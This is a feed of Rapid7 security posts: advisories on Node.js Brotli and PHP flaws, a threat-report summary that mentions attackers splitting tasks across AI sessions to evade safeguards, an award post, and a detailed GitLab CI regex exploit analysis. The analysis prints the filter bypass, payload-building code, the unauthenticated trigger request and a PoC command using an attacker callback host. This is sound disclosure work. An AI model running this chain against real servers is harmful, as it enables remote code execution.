Names such as UploadFileStarted and DownloadFileEnded occur in the native protocol's callback code, but we did not find them in the collected logs. They should not be presented as default audit events

CVE-2026-111497: Critical out-of-bounds write in the Node.js Brotli decoder

By: Rapid7
26 October 2026 at 13:32

Overview

On October 21, 2026, the Node.js Project published a security advisory for CVE-2026-111497, an out-of-bounds write in the Brotli decoder bundled with Node.js. The vulnerability affects the Node.js 26.x, 24.x, and 22.x release lines. Node.js rates the issue High, while Google, the CVE Numbering Authority (CNA), gives it a critical CVSSv4 score of 9.2.

An attacker who can supply Brotli data that an application decompresses with node:zlib can corrupt process memory. According to Node.js, this corruption can lead to a process crash, disclosure of sensitive process memory, or remote code execution. Exposure therefore depends on whether an application passes attacker-controlled compressed data to the affected decoder.

On October 27, 2026, CVE-2026-111497 was added to the U.S. Cybersecurity and Infrastructure Security Agency's (CISA) list of known exploited vulnerabilities (KEV), based on evidence of active exploitation. Given the vulnerability's potential to disclose memory or enable remote code execution (RCE), Rapid7 recommends that organizations prioritize remediation.

Technical overview

CVE-2026-111497 is classified as an out-of-bounds write (CWE-787) and an unchecked return value (CWE-252). Per the vendor advisory, the decoder handled an invalid Brotli block switch as a temporary need for more input instead of a permanent format error. The streaming decoder then continued appending input bytes to an eight-byte internal buffer, allowing malformed input to write beyond the buffer and corrupt process memory.

The vulnerability originates in Google Brotli, which the affected Node.js release lines bundle as a dependency. The CVE record identifies affected upstream Brotli ranges on all platforms as versions 1.0.3 before 1.0.10, 1.1.0 before 1.1.1, and 1.2.0 before 1.2.1. The Node.js Project remediated its bundled decoder in the fixed Node.js releases listed below.

Because CVE-2026-111497 affects the upstream Google Brotli decoder, its reach is not limited to Node.js. Vendor and project advisories have also identified affected implementations in Bun, Python's Brotli and brotlicffi packages, .NET, Envoy and Istio, brotli4j, and operating-system packages. Affected versions, default exposure, and remediation vary by product; the presence of an affected decoder does not by itself establish exposure unless an application processes attacker-controlled Brotli data. Organizations should consult the relevant downstream vendor or distribution advisories to identify affected versions, assess exposure, and determine appropriate remediation.

Mitigation guidance

Vendor-supplied security updates are available to remediate CVE-2026-111497. Organizations running an affected Node.js release should upgrade on an urgent basis, outside of normal patch cycles:

  • Node.js 22.x releases before 22.23.4 are affected; upgrade to 22.23.4 or later.

  • Node.js 24.x releases before 24.22.1 are affected; upgrade to 24.22.1 or later.

  • Node.js 26.x releases before 26.12.1 are affected; upgrade to 26.12.1 or later.

The vendor states that end-of-life Node.js release lines should also be treated as affected when a security release occurs. Organizations using an end-of-life release should migrate to a supported, fixed release line. Node.js has not published a vendor-supported workaround; if an immediate upgrade is not possible, Rapid7 recommends restricting or disabling application paths that decompress untrusted Brotli data as a temporary exposure-reduction measure.

For the latest mitigation guidance, please refer to the Node.js security advisory.

Rapid7 customers

Exposure Command, Vulnerability Management, and Nexpose

Exposure Command, Vulnerability Management, and Nexpose customers can assess exposure to CVE-2026-111497 with an authenticated vulnerability check for Linux, macOS, and Windows, available in the October 26 content release.

Updates

  • October 26, 2026: Initial publication.

  • October 26, 2026: Updated the Exposure Command, Vulnerability Management, and Nexpose section to reflect coverage availability.
  • October 27, 2026: Updated Overview to add a reference to CVE-2026-111497 being added to the CISA KEV list.

CVE-2026-109618 and CVE-2026-109619: Critical Unauthenticated Remote Code Execution in PHP

By: Rapid7
21 October 2026 at 11:22

Overview

On October 21, 2026, the PHP project announced security releases for two critical vulnerabilities in PHP. CVE-2026-109618 can corrupt memory during out-of-memory (OOM) handling, while CVE-2026-109619 is a use-after-free flaw involving state retained between requests. Both have a CVSSv4 score of 9.2 and both can allow for unauthenticated remote code execution (RCE) with the web worker's privileges.

CVE

CVSSv4

Description

CVE-2026-109618

9.2 (Critical)

RCE via OOM corruption

CVE-2026-109619

9.2 (Critical)

RCE via stale global state

All installations serving web requests are at risk, including PHP-FPM, Apache mod_php, php-cgi, FrankenPHP, and LiteSpeed. The vendor considers mod_php the highest risk because exploitation can succeed before any application code runs.

The advisories report that a successful RCE exploit was developed during research, including achieving RCE against Apache mod_php and PHP-FPM through different attack paths. As of October 21, 2026, there are multiple indications that this research is being independently reproduced, and a viable exploit is expected to be made public soon.

Due to the extremely high deployment of PHP based web applications, exploitation in-the-wild is expected. Rapid7 recommends updating affected installations on an emergency basis, outside of normal patch cycles.

Multiple public proof-of-concept (PoC) exploits for CVE-2026-109618 and CVE-2026-109619 are now available. Rapid7 researchers have reviewed these and observe that each demonstrates RCE only against a specific combination of operating system, PHP version, and web server, and none appears to be broadly reliable. Rapid7’s own research supports this. Our attempts so far have produced a working exploit only under narrow lab conditions, and exploitation depends on assumptions that are unlikely to hold on internet-facing instances. We are continuing to investigate approaches that could improve portability, but have not yet developed a reliable, general-purpose exploit. Rapid7 has not observed exploitation in the wild, though there are multiple reports of exploitation attempts, which is expected for a vulnerability of this profile. The situation is evolving quickly, and a more portable exploit technique could emerge at any time. The current difficulty of reliable exploitation should be treated as a window to patch rather than a reason to delay, and Rapid7 continues to recommend updating affected installations on an emergency basis.

Update #1: On October 26, 2026, CVE-2026-109618 and CVE-2026-109619 were added to the U.S. Cybersecurity and Infrastructure Security Agency's (CISA) list of known exploited vulnerabilities (KEV), based on evidence of active exploitation. CISA set the remediation due date to October 29, 2026, for affected Federal Civilian Executive Branch agencies and directs them to follow the associated BOD 26-04 forensic triage requirements. Rapid7 continues to recommend updating affected installations on an emergency basis and investigating for prior compromise.

Technical overview

CVE-2026-109618: Memory corruption during OOM handling

According to the OOM advisory, PHP can abruptly abandon request processing when a memory allocation fails. If internal request data is only partly initialized, that exit can leave invalid data for request cleanup to use. Crafted multipart requests, used for forms and file uploads, can exhaust memory even when their size appears to meet PHP's configured limits. Application operations that allocate memory in response to attacker input can also trigger OOM.

Apache mod_php runs cleanup even when request startup fails, enabling the demonstrated attack before application code executes. The advisory reports RCE over HTTP with default PHP input and memory limits, including multi-worker prefork deployments. PHP-FPM terminates a worker when startup fails, preventing that particular sequence. Source analysis supports FPM susceptibility after successful startup, but the advisory reports no complete FPM exploit for this CVE. Exploit portability and reliability depend on the PHP build, extensions, frontend behavior, and memory layout.

CVE-2026-109619: Use after free across requests

PHP can reuse a worker process to handle multiple HTTP requests. The stale-state advisory describes internal state that still points to memory freed at the end of an earlier request. A later request handled by the same worker can access that stale value before normal initialization clears it. Fatal errors, including memory exhaustion and execution timeouts, can interrupt state cleanup; some nonfatal diagnostics during shutdown can also repopulate error state after it was reset.

The advisory confirms RCE against mod_php through PHP 8.5's fatal error backtrace feature, when fatal_error_backtraces is enabled (the default), where a later initialization diagnostic accesses stale backtrace state. It also confirms session lifecycle RCE against mod_php and FPM. Session upload progress, PHP's upload-tracking feature, is enabled by default and can act as an early consumer of stale session or decoder state before normal initialization; reaching this consumer does not itself require an application call to session_start().

The validated FPM session path requires a suitable application operation to leave state behind after successful startup, followed by a fatal error and another request that consumes the stale state through session upload progress. Both requests must reach the same worker. Multiple workers and worker recycling can reduce success per request, but do not eliminate the condition.

Mitigation guidance

PHP has released fixes for both vulnerabilities. Organizations should prioritize updating to the appropriate fixed release or a vendor package containing both complete patches. The PHP advisories list these affected and fixed versions:

  • PHP 8.2 releases before 8.2.35: Update to 8.2.35

  • PHP 8.3 releases before 8.3.36: Update to 8.3.36

  • PHP 8.4 releases before 8.4.27: Update to 8.4.27

  • PHP 8.5 releases before 8.5.12: Update to 8.5.12

Linux distributions and long-term support vendors received patches in advance; check your vendor for updated packages. PHP 8.1 and older no longer receive routine upstream updates. For this incident, PHP has supplied limited source backports for PHP 7.4, 8.0, and 8.1. Organizations running older branches should obtain a vendor fix, use the source backports described in the PHP announcement, or upgrade to a supported version. PHP also warns that rpms.remirepo.net will not have updates on October 21, 2026, and urges its users to switch to distribution packages or build from source.

Note that an update containing both complete fixes is the only complete remediation. 

PHP's temporary configuration measures reduce exposure to specific paths and require careful deployment:

  • For the OOM issue, enforce memory_limit=-1 administratively, such as through FPM pool or Apache configuration that applications cannot override. This disables PHP's per-request memory cap and removes the predictable PHP-limit failure used by the confirmed exploit. An underlying allocation failure can still reach the vulnerable path. Restart every worker and verify that no pool, directory, or application setting restores a finite limit.

  • For the session lifecycle path, set session.upload_progress.enabled=0 in php.ini, an FPM pool, or server configuration that applies before request parsing, then restart every worker. Application-level ini_set() and FPM .user.ini are too late. This addresses the confirmed session paths only.

  • On PHP 8.5, set fatal_error_backtraces=0 administratively and restart every worker. This addresses the confirmed fatal backtrace path only; other retained state remains a concern.

Disabling PHP's memory cap makes independent resource controls particularly important. PHP recommends post_max_size=8M where uploads are unnecessary or post_max_size=32M where they are needed, with upload_max_filesize below that limit. At the frontend, bound decoded request size, input and multipart counts, headers per part, and nesting depth, including requests without a usable Content-Length. If the application does not use multipart data, block those requests before they reach PHP.

Container or cgroup memory limits are also incomplete: allocation failures remain possible, and enforcement can kill the master process and all workers unless workers are isolated. Do not substitute RLIMIT_AS or RLIMIT_DATA, which can trigger the vulnerable allocation-failure path.

For stale-state exposure, correct invalid or deprecated per-request settings and attacker-reachable fatal errors or timeouts. Hiding diagnostics through error_reporting, display_errors, log_errors, or @ does not prevent stale-state access. The absence of relevant log entries is not proof that an installation is safe.

For the latest mitigation guidance, refer to PHP's OOM corruption advisory and stale global state advisory.

Rapid7 customers

To learn how to use Rapid7 capabilities to find systems affected by these vulnerabilities and for answers to common questions, read the PHP2Shell documentation.

For Rapid7 Customers with questions regarding Rapid7 products and their usage of PHP please consult this page.

Exposure Command, Vulnerability Management, and Nexpose

Exposure Command, Vulnerability Management, and Nexpose customers can assess exposure to CVE-2026-109618 and CVE-2026-109619 with remote unauthenticated vulnerability checks, available in a dedicated release that followed the regular October 21 content release.

Rapid7 has also released authenticated scan checks for both the Scan Engine and the Agent for CVE-2026-109618 and CVE-2026-109619 as part of the October 22 content release.

Authenticated, package-based checks are now available for a variety of Linux distributions.  These checks evaluate installed distribution packages, so they can recognize backported fixes that keep the original upstream PHP version number. Run an authenticated scan with this content release to use them. For the full list of checks and supported distribution versions, read Rapid7’s PHP2Shell documentation, where package-based coverage for other distributions will be added as their fixes are published.

In a dedicated October 23 content release following the regular release, Rapid7 has released coverage for CVE-2026-115560, published on October 23 by the PHP Foundation. A mitigation technique is available, but no patch has yet been published. Exploitation of CVE-2026-115560 relies on non-standard configuration.

Current scope for authenticated coverage: Windows, macOS and Linux. Remote unauthenticated coverage provides coverage regardless of web-server OS.

Velociraptor

A Velociraptor Artifact Generic.Applications.PHPInventory is available to inventory PHP installations on Windows, Linux and macOS for remediation scoping. This artifact allows for the collection of package versions, common binary and module paths, and running PHP processes.

Updates

  • October 21, 2026: Initial publication.

  • October 21, 2026: Updated to reflect availability of vulnerability checks.

  • October 22, 2026: Updated the Overview section to include Rapid7’s findings on a PoC and the Rapid7 Customers section to include a link to the FAQ documentation.

  • October 23, 2026: Updated the Exposure Command, Vulnerability Management, and Nexpose section to describe authenticated coverage, Linux distro backported coverage, and more.

  • October 27, 2026: Updated the Overview to note that CVE-2026-109618 and CVE-2026-109619 were added to the CISA KEV catalog. Updated Rapid7 customers section to reflect added Windows support.

Q3 2026 Threat Update: Attackers Are Exploiting Vulnerabilities Within 3 Days

21 October 2026 at 09:00

Three days is the average time between a high-severity vulnerability becoming public and its exploitation, according to the latest Quarterly Threat Landscape Report from Rapid7. And 71% of the exploitation tracked in Q3 occurred within the first seven days.

For security teams already managing growing vulnerability backlogs, this creates a difficult question: How do you reduce exposure when attackers can exploit vulnerabilities before your next patching window?

Rapid7's Q3 2026 research brings together vulnerability intelligence, ransomware activity, APT tracking, and underground forum intelligence to show where attacker activity is concentrated.

The exploitation window has narrowed, big time

Rapid7 tracked 43 newly exploited high- and critical-severity vulnerabilities this quarter, down 7% from Q2 but still 19% higher than the same period last year.

The number of newly exploited vulnerabilities isn't growing at the same rate as disclosures. The more pressing concern is how quickly attackers exploit the vulnerabilities they choose. On average, exploitation occurred just three days after public disclosure. The report also found that 80% of tracked exploitation occurred within 14 days and 90% within 30 days.

That timeline creates a serious challenge for organizations relying on fixed remediation schedules. It also reinforces the need to distinguish between vulnerabilities that are theoretically severe and those that pose an immediate, exploitable risk.

The report examines the exploitation timeline in greater detail, including the vulnerability characteristics that make certain exposures particularly attractive to attackers.

Attackers are exploiting vulnerabilities that require no interaction

Q3's vulnerability data reveals another concerning pattern: Of the 43 newly exploited high- and critical-severity vulnerabilities tracked, 34 (79%) required no authentication or user interaction.

This provides attackers a potential path into exposed systems, no stolen credentials or malicious content interaction necessary. An internet-facing service with an exploitable vulnerability may require immediate attention, particularly when an attacker can reach it without authenticating.

This makes attack surface visibility and contextual prioritization essential. Security teams need to understand which systems are externally accessible, which vulnerabilities are actively exploited, and whether existing controls can prevent or limit compromise.

A CVSS score alone won’t give you the answers. The report explores the characteristics of exploited vulnerabilities and why understanding reachability is critical to reducing risk.

AI is taking on a more operational role in attacks

In Q3, 8% of the threat reporting tracked by Rapid7 cited AI as an operational component. The research identifies a shift from using AI primarily to help draft content or code toward supporting tactical decisions and execution within attack campaigns.

In the documented cases, human operators continued to select targets and determine objectives, but relied on AI assistance for technique selection, target assessment, and adapting when an attack step failed.

The report also examines how threat actors split malicious objectives across multiple AI sessions to evade provider safeguards. There are serious implications for detection in these findings. AI-enabled attacks also reinforce the value of monitoring and quickly adapting to attacker behavior rather than relying exclusively on known malware signatures or threat actor identities.

The report provides additional context on how AI appeared in tracked campaigns and what defenders should monitor.

The next step: Prioritize exposure before attackers exploit it

Q3's findings reveal a challenge that vulnerability counts alone can’t explain. Attackers exploited 43 newly tracked vulnerabilities this quarter, yet the average exploitation window was just three days. Meanwhile, underground forum monitoring identified 41 posts advertising RDP or network access, demonstrating continued interest in selling access to compromised environments.

Security teams must account for both the vulnerabilities attackers can exploit directly and the access they can obtain through other means.

Start by identifying externally accessible assets and the vulnerabilities affecting them. Prioritize known exploitation, unauthenticated access paths, and systems supporting critical business functions. Where immediate remediation isn't possible, assess compensating controls and detection coverage.

The latest Rapid7 Quarterly Threat Landscape Report brings together vulnerability research, ransomware intelligence, nation-state activity, and dark web monitoring to help security teams understand where threats are concentrated and what to address first. Download and read it now.

Rapid7 Analysis: GitLab CI/CD Regex Integer Overflow (CVE-2026-97229)

16 October 2026 at 09:31

Overview

On October 12, 2026, GitLab released 19.4.2, 19.3.5, and 19.2.8 to fix CVE-2026-97229, an integer overflow in its CI/CD regular-expression handling. The issue was reported through HackerOne by joaxcar. GitLab assigned it a CVSS score of 10.0 and described possible code execution by an unauthenticated user.

The advisory states that CVE-2026-97229 affects GitLab CE and EE from 19.2 before 19.2.8, 19.3 before 19.3.5, and 19.4 before 19.4.2. GitLab says all deployment types are affected unless stated otherwise. GitLab.com was patched before disclosure, and Dedicated customers do not need to act.

Rapid7 researchers developed an end-to-end PoC that reliably runs arbitrary commands as GitLab's git operating-system account on the official Linux amd64 gitlab/gitlab-ce:19.4.1-ce.0 image with ASLR enabled. GitLab's release notes do not report exploitation in the wild occurring at the time of disclosure.

This analysis covers one end-to-end route. It begins after an attacker has pushed both the malicious CI configuration and a specially named path to a public project; only the final CI lint request is unauthenticated. That prerequisite conflicts with GitLab's PR:N rating, and because the underlying report remains private, we do not yet know how the reported attack avoids it.

Technical analysis

At a high level, the chain crosses from attacker-controlled repository input into Onigmo pcode and finally native code execution.

Figure 1
Figure 1: From repository inputs to command execution.

CI rules pass repository paths to Onigmo

GitLab supports regular-expression matching over repository paths in rules:exists:regexp and rules:changes:regexp. One way to evaluate such an expression during static configuration processing is to place it on a conditional include:

include:
  - local: /benign.yml
    rules:
      - exists:
          regexp: "ATTACKER_PATTERN"

RegexpMatcher expands the expression, compiles it with Ruby's native regular-expression engine, and tests it against paths from the selected Git worktree:

# Exists#regexp_match?()
def regexp_match?(context)
  matcher = regexp_matcher(context)  matcher.validate_pattern_length! # [0] Source-length check

  Gitlab::SafeRequestStore.fetch(regexp_comparison_key(context, matcher.expanded_pattern)) do
    # ... top-level optimisation omitted
    matcher.match?(worktree_paths(context, false)) # [1] Repository paths
  end
end

# RegexpMatcher#match?()
def match?(paths)
  # ... path-count fail-open handling omitted
  pattern = compile_pattern # [2] Compile regexp
  deadline = current_monotonic_time + REGEXP_TOTAL_TIMEOUT_SECONDS

  paths.any? do |path|
    # ... total-budget check omitted
    pattern.match?(path) # [3] Native match
    # ... per-match timeout handling omitted
  end
end

By the time execution reaches [0], GitLab is checking only the length of the expanded source expression. The call at [1] supplies every filename in the selected commit, while compile_pattern at [2] ultimately invokes Regexp.new. Each iteration at [3] therefore crosses from CI configuration into native Onigmo with a repository path as the match subject.

Smuggling a large repeat through the checks

GitLab places several sensible limits around CI regular expressions. The interesting parts of its wrapper are shown below:

REPEAT_BOUND = /(?<!\\)(?:\\\\)*\{\s*(\d+)\s*(?:,\s*(\d+)?\s*)?\}/ # [4] Repeat scanner

def self.compile_regexp(pattern, timeout: nil)
  raise RegexpError, 'uses a subroutine call (\g), which is not allowed' if SUBROUTINE_CALL.match?(pattern) # [5] Subroutine-call check
  reject_large_repeats!(pattern) # [6] Repeat-bound check

  alternation_free = pattern.gsub(ESCAPE_OR_ALTERNATION) { |token| token == '|' ? '\\|' : token }

  probe =
    begin
      Regexp.new(alternation_free)
    rescue RegexpError => e
      # ... error-message rewriting omitted
    end

  check_compiled_size!(probe) # [7] Probe size check
  check_compiled_size!(Regexp.new(pattern, timeout: timeout)) # [8] Final size check
end

The source-length check occurs before this function. The subroutine-call check at [5] and the repeat-bound check at [6] defend against structural growth, but the scanner at [4] recognizes only contiguous digits. Compilation then happens twice: [7] checks an alternation-free probe, and [8] checks the requested expression and attaches the 50-millisecond timeout. Either object is rejected if it exceeds one megabyte.

The PoC hides its quantifier bound from the scanner at [4] via an inline comment: {5(?#)7805}

(?#) is an inline regex comment. Onigmo ignores it and reads the bound as 57,805. GitLab's scanner expects contiguous digits, so it does not see a bound above 1,000.

That bypass admits the large repeat, but the checked expression is still only 986 bytes. The six [[:word:]] classes expand when matching begins against a repository path containing valid four-byte UTF-8 characters. Ruby recompiles the same source for UTF-8, each POSIX word class expands into a large Unicode range table, and GitLab never checks the size of this new program.

Ruby selects or recompiles the regex before starting its timed matcher:

/* re.c: rb_reg_prepare_re() */
regex_t *reg = RREGEXP_PTR(re);
if (reg->enc == enc) return reg; // [9] Matching encoding

// ... source preprocessing and use-count branch omitted
r = onig_new_without_alloc(&tmp_reg, (UChar *)ptr, (UChar *)(ptr + len),
                           reg->options, enc,
                           OnigDefaultSyntax, &einfo); // [10] Onigmo recompile
// ... error handling and old-program replacement omitted

/* re.c: rb_reg_onig_match() */
reg = rb_reg_prepare_re(re, str);
// ... use-count bookkeeping omitted
OnigPosition result = match(reg, str, regs, args); // [11] Begin timed match
// ... result cleanup omitted

At [9], Ruby returns the existing program only when its encoding matches the subject. Otherwise, [10] recompiles the source for the subject encoding via Onigmo. Only then does [11] begin timed matching, leaving the unsafe compilation outside the timeout.

Onigmo compiles the regular expression into bytecode, which its source calls pcode. Its regex VM then runs that pcode against each path, so the UTF-8 recompilation at [10] is where the oversized pcode program is created.

The repeated target also carries the bytes that run after the overflow:

# poc.py: build()
# ... prefix setup omitted
target = "(?<=" + "[[:word:]]" * 6 + "".join(character_class(stage) for stage in STAGES)
digits = str(REPEAT_COUNT)
pattern = f"\\A(?>{prefix}(?:{target}){{{digits[0]}(?#){digits[1:]}}}|)\\b\\B"

The six [[:word:]] classes are only the size multiplier. The payload sits in four more character classes generated by character_class(stage). A class such as [abc] compiles to a bitmap with bits set for a, b, and c. The helper works backwards from each desired pcode sequence and chooses class members whose bitmap reproduces those bytes. This puts attacker-controlled VM instructions at the end of every expanded copy.

Crossing INT_MAX

Under UTF-8, one copy of the repeated body is 37,151 bytes. The relevant Onigmo compiler code in Ruby 3.3.12 is:

/* regcomp.c: compile_quantifier_node() */
/* ... earlier quantifier cases omitted */
else if (!infinite && qn->greedy &&
         (qn->upper == 1 || (tlen + SIZE_OP_PUSH) * qn->upper
                                <= QUANTIFIER_EXPAND_LIMIT_SIZE)) { // [12] Signed size check
int n = qn->upper - qn->lower;

  r = compile_tree_n_times(qn->target, qn->lower, reg); // [13] Expand lower copies
if (r) return r;

// ... optional copies omitted
}
/* ... remaining quantifier cases omitted */

With this body size (37,151) and quantifier bound (57,805):

37,151 × 57,805 = 2,147,513,555 = 0x800074d3

That is 29,908 (0x74D4) bytes beyond signed INT_MAX (0x7FFFFFFF). At [12], the negative result satisfies the compiler's “small enough to expand” test. Onigmo enters the expansion path at [13] and emits all 57,805 copies.

The | immediately after {5(?#)7805} makes the repeated body the first alternative and leaves the second alternative empty. Onigmo compiles this | into two pcode branches. An OP_PUSH near the beginning is meant to record the empty alternative as a backtracking target, but does not transfer execution on this path. The first bad transfer is the OP_JUMP emitted after the giant first alternative by the alternation compiler:

/* regcomp.c: compile_tree(), NT_ALT */
/* ... calculate alternation length omitted */
pos = reg->used + len;  /* goal position */

/* ... emit the fallback and first alternative omitted */
if (IS_NOT_NULL(NCDR(node))) {
  len = pos - (reg->used + SIZE_OP_JUMP);
  r = add_opcode_rel_addr(reg, OP_JUMP, len); // [14] Skip empty branch
if (r) break;
}

The jump at [14] should skip the empty alternative and land at the end of the alternation. The compiler calculated pos from the already wrapped length, however. Our build emits the jump at offset 2,147,513,698 with a displacement of -136, sending execution into the first payload bitmap in the last expanded copy, 140 bytes from the end of the pcode.

From character-class bitmap to system()

The wrapped branch now leaves normal generated pcode and enters a controlled character-class bitmap. Onigmo consequently runs the bytes encoded by character_class() as VM instructions, starting the sequence shown here.

Figure 2
Figure 2: From controlled Onigmo pcode to native command execution.

The controlled pcode redirects Onigmo's backtracking stack, which holds saved match state, into the repository path. On a failed match, the VM restores the two values shown in the diagram: the next instruction from the path and FinishCode, a pointer from its bottom stack frame. The first value decides where controlled pcode resumes. The second gives it a known address inside libruby.

The path instruction sends control to the final controlled bitmap. That bitmap adjusts the recovered libruby pointer to a short instruction sequence that passes the path command to system(), then writes that address into match_at()'s native return slot. When the matcher finishes, execution returns through the overwritten slot. FinishCode and the call site are in the same libruby mapping, so the distance between them stays constant under ASLR.

Exploitation

Delivering the branch through CI lint

Once the malicious configuration and path are present on a public branch, GitLab's CI lint API supplies an unauthenticated trigger. The GET form accepts an attacker-selected content_ref, loads .gitlab-ci.yml from that commit, and evaluates it:

GET /api/v4/projects/attacker%2Fpublic-project/ci/lint?content_ref=payload-ref
Host: gitlab.example

The route checks whether the requester may read the public repository, resolves the supplied ref, and passes its CI configuration to the static linter:

get ':id/ci/lint' do
  authorize_read_code! # [17] Read authorization
  not_found! 'Repository' if user_project.empty_repo?

  unauthorized!("This endpoint requires an API authentication") if current_user && !::Current.token_info # [18] Token check

  content_ref = params[:content_ref] || params[:sha] || user_project.repository.root_ref_sha # [19] Select commit
  dry_run_ref = params[:dry_run_ref] || params[:ref] || user_project.default_branch

  commit = user_project.commit(content_ref)
  not_found! 'Commit' unless commit.present?

  content = user_project.repository.blob_data_at(commit.sha, user_project.ci_config_path_or_default)
  result = Gitlab::Ci::Lint
    .new(project: user_project, current_user: current_user, sha: commit.sha)
    .legacy_validate(content, dry_run: params[:dry_run], ref: dry_run_ref) # [20] Run static lint

  present result, with: Entities::Ci::Lint::Result, current_user: current_user, include_jobs: params[:include_jobs]
end

Public visibility makes authorize_read_code! at [17] succeed without credentials, while the condition at [18] does not reject an absent current_user. The selected branch becomes the static linter's input through [19] and [20], without creating a pipeline or contacting a runner. This is why the exploit's trigger can be unauthenticated even though the demonstrated setup requires project write access.

Running a command

The initial Python PoC clones a public project controlled by the operator, creates a payload branch, starts the callback, and sends the lint request:

$ python3 poc.py https://g.example 123 \
    --git-url 'https://oauth2:ATTACKER_TOKEN@g.example/attacker/public-poc.git' \
    --callback-url cb.ex:8000 \
    --cmd 'uname -a && id'
[*] deployed attacker ref 69fe2478c446ab17afe4c150; executing: uname -a && id
[*] delivery GET https://g.example/api/v4/projects/123/ci/lint?content_ref=69fe2478c446ab17afe4c150
[*] target stopped responding after delivery: HTTP Error 502: Bad Gateway
[uname output omitted]
uid=998(git) gid=998(git) groups=998(git)

HTTP 502 is expected. The command runs synchronously in a Puma worker. After system() returns, the corrupted worker crashes. GitLab Workhorse, the reverse proxy in front of Puma, sees its Rails backend connection close and returns 502. Puma replaces the worker. The callback output, not the HTTP status, is the success signal.

The target-specific values in this PoC, such as SYSTEM_STEP_COUNT, the number of UTF-8 backward steps from FinishCode to the libruby system() call site, match official GitLab CE 19.4.1 on Linux amd64. Other vulnerable packages or architectures need adjusted pcode and libruby offsets. A little over 2 GiB is required in the worker, and our complete single-node GitLab target needed about 9 GiB available. Low-memory instances may swap, reject the allocation, or invoke the OOM killer.

The fix

GitLab's Ruby backport replaces the multiplication at [12] with a division-based test, which cannot overflow, and rejects compiled programs above roughly 512 MiB:

/* regcomp.c */
#define IS_EXPAND_LIMIT_OK(tlen, n) \
  ((n) <= 0 || (tlen) <= QUANTIFIER_EXPAND_LIMIT_SIZE / (n))

/* ... unrelated compiler declarations omitted */
#define MAX_COMPILED_PROGRAM_SIZE (INT_MAX_LIMIT / 4)

On the patched image, the crafted quantifier remains a compact loop and the request returns a normal false match. The repeat-range double-free fixed in the same release affects an error path and is not part of this chain.

Detection guidance

For the exploitation strategy described in this analysis, correlate:

  1. /var/log/gitlab/gitlab-workhorse/current: a several-second GET /api/v4/projects/<project>/ci/lint?content_ref=<ref>, badgateway: failed to receive response: EOF, and HTTP 502.

  2. A Puma worker crashes or restarts at the same time; any saved trace contains regexp_matcher.rb.

  3. The referenced commit: an (?#)-split repeat, repeated POSIX word classes, and a path containing four-byte UTF-8 characters.

A shell child or roughly 2 GiB worker-memory increase strengthens the match. The undisclosed path may differ.

Mitigation guidance

Self-managed GitLab customers should upgrade to the fixed patch for their release: 19.2.8, 19.3.5, or 19.4.2. As a temporary measure, restrict credential-free access to attacker-writable public projects or block this lint route. Route controls do not repair the vulnerable Ruby compiler.

Please read GitLab's critical patch release for the latest guidance.

Rapid7 Intelligence Wins the 2026 Péter Szőr Award for Outstanding Research

16 October 2026 at 09:00

Some awards you're happy to receive, while others make you stop for a moment. Receiving the 2026 Péter Szőr Award this week at Virus Bulletin in Seville for our research, BPFdoor in Telecom Networks: Sleeper Cells in the Backbone, was of the latter kind.

Virus Bulletin created the award to honor Péter's life and work, and it recognizes outstanding technical security research: the rigorous, the deep, and the useful – exactly what he was known for himself. And as far as recognitions in our industry go, it's hard to top. I'm extremely proud.

What the Pèter Szőr Award means to us

I knew Péter, and early in my career, I learned from him. This was back when malware analysis meant staring at assembly, arguing about what a routine really did, and realizing hours later that your first theory was wrong. One memory came straight back when I heard about the award: going through Stuxnet together. For anyone in research at the time, that was the moment you knew the game had changed. Engineering, tradecraft, espionage and physical-world consequences, all in one package.

What stayed with me wasn't how much Péter knew, but rather his curiosity. He wanted to understand things, and then once he did, he wanted everyone else to understand too. Plenty of brilliant people in cybersecurity keep it to themselves, but the ones who leave a legacy make the people around them better.

Receiving an award that carries his name felt like one of those full-circle moments. 

The research behind the award

The original research from Rapid7 Intelligence emerged after months of investigating stealthy access inside telecommunications environments. This wasn't malware dropped during a conventional intrusion, but long-term strategic positioning: passive backdoors, kernel-level capabilities and covert access, quietly settled into critical infrastructure and in no hurry whatsoever.

Telecom networks carry our communications, our identities and, increasingly, everything governments and businesses run on. So when an adversary sets up camp there, the impact goes well beyond one compromised machine or one unlucky company.

Virus Bulletin's community nomination noted that the work paired deep technical investigation with real-world impact, including long hours with agencies and CERTs around the world and tools, scripts, intelligence and detection capabilities for defenders. That's the part I'm happiest about, as this wasn't research for publication alone. Remember that a PDF has never stopped an intrusion.

Publishing research is a checkpoint, not the finish line

We're still doing the research. Since the original report, Rapid7 Intelligence has analyzed hundreds more samples, found previously undocumented BPFDoor variants, and tracked changes in the operators' tradecraft. Our follow-up work covered new httpShell and icmpShell variants built to make detection even harder. In further publications, we went beyond BPFDoor to additional Linux implants and infrastructure targeting telecom and network-edge environments, including AVERAT and techniques that hide in ordinary-looking traffic like SMTP. 

That's how this work goes. You find something, you share it, someone sends you another sample, a CERT spots something in their environment, an analyst notices the one odd function nobody looked at twice, and you're back down the rabbit hole. Anyone who thinks an initial report is the finish line has never received "just one more sample" at 4 p.m. on a Friday.

And truthfully, I also love that this happens in the open. From the outside, our industry looks like a cage match over attribution, naming conventions and whose acronym is cooler. But when something truly matters, researchers, vendors, CERTs and governments put that aside and share, because protecting people beats winning the naming argument.

This award belongs to the team: Rapid7 Intelligence

Research like this never belongs to just one or two people. It belongs to the analysts still staring at code after everyone else has gone home, the people who question an assumption because something doesn't add up, the people that keep the show running, and the detection engineers who turn findings into something defenders can use. It also belongs to the people collecting samples, maintaining infrastructure and correlating intelligence, and to the CERTs, agencies and peers who trusted us enough to share what they saw.

I'm proud of the Rapid7 Intelligence team, and not because of the trophy. I'm proud of why we got it: we took a hard problem, did the hard work, and then tried to make the result useful to someone else.

To the next generation of research

Today, the conversation has evolved to include autonomous agents, AI-generated malware and machine-speed attacks. Tomorrow it'll be something new. My motivation stays the same: I want to leave the digital world a little safer for the generations that come after us.

Somewhere right now, a young researcher is opening a debugger for the first time and wondering how on earth the thing works. Someone will investigate the Stuxnet of their generation, and someone will eventually sit in the chair I'm in now. Our job isn't just to detect today's attacks. It's to share what we learn, build tools, mentor people and make sure they start a few steps ahead of where we did.

Péter did that for our industry, and he did it for me.

Thank you to Virus Bulletin and our peers in the security community for this recognition, to everyone who contributed to the research, publicly or behind the scenes, and to Péter, who taught a young malware researcher that taking things apart is only half the job. The other half is making sure somebody else can learn from what you found.

❌
❌